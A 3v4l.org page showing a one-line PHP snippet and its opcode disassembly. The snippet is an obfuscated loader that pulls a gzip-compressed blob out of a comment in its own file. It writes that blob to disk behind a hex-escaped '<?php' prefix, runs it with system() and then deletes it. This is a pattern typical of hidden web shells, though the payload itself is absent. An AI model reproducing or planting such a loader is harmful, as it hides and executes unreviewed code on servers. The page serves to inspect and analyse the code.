3v4l.org

run code in 300+ PHP versions simultaneously
<?php $fp=fopen($f,'w');fwrite($fp,"\x3C\x3F\x70\x68\x70\x20".gzinflate(preg_match("#/\*\*(.*)\*\*/#se",implode("",file($_SERVER["SCRIPT_FILENAME"])),$match)?($match[1]):''));fclose($fp);system('php -f '.$f);unlink($f);
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 23, Position 2 = 26
Branch analysis from position: 23
1 jumps found. (Code = 42) Position 1 = 27
Branch analysis from position: 27
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 26
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/D21Cq
function name:  (null)
number of ops:  43
compiled vars:  !0 = $fp, !1 = $f, !2 = $match
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   INIT_FCALL                                               'fopen'
          1        SEND_VAR                                                 !1
          2        SEND_VAL                                                 'w'
          3        DO_ICALL                                         $3      
          4        ASSIGN                                                   !0, $3
          5        INIT_FCALL                                               'fwrite'
          6        SEND_VAR                                                 !0
          7        INIT_FCALL                                               'gzinflate'
          8        INIT_FCALL                                               'preg_match'
          9        SEND_VAL                                                 '%23%2F%5C%2A%5C%2A%28.%2A%29%5C%2A%5C%2A%2F%23se'
         10        INIT_FCALL                                               'implode'
         11        SEND_VAL                                                 ''
         12        INIT_FCALL                                               'file'
         13        FETCH_R                      global              ~5      '_SERVER'
         14        FETCH_DIM_R                                      ~6      ~5, 'SCRIPT_FILENAME'
         15        SEND_VAL                                                 ~6
         16        DO_ICALL                                         $7      
         17        SEND_VAR                                                 $7
         18        DO_ICALL                                         $8      
         19        SEND_VAR                                                 $8
         20        SEND_REF                                                 !2
         21        DO_ICALL                                         $9      
         22      > JMPZ                                                     $9, ->26
         23    >   FETCH_DIM_R                                      ~10     !2, 1
         24        QM_ASSIGN                                        ~11     ~10
         25      > JMP                                                      ->27
         26    >   QM_ASSIGN                                        ~11     ''
         27    >   SEND_VAL                                                 ~11
         28        DO_ICALL                                         $12     
         29        CONCAT                                           ~13     '%3C%3Fphp+', $12
         30        SEND_VAL                                                 ~13
         31        DO_ICALL                                                 
         32        INIT_FCALL                                               'fclose'
         33        SEND_VAR                                                 !0
         34        DO_ICALL                                                 
         35        INIT_FCALL                                               'system'
         36        CONCAT                                           ~16     'php+-f+', !1
         37        SEND_VAL                                                 ~16
         38        DO_ICALL                                                 
         39        INIT_FCALL                                               'unlink'
         40        SEND_VAR                                                 !1
         41        DO_ICALL                                                 
         42      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
157.67 ms | 1400 KiB | 31 Q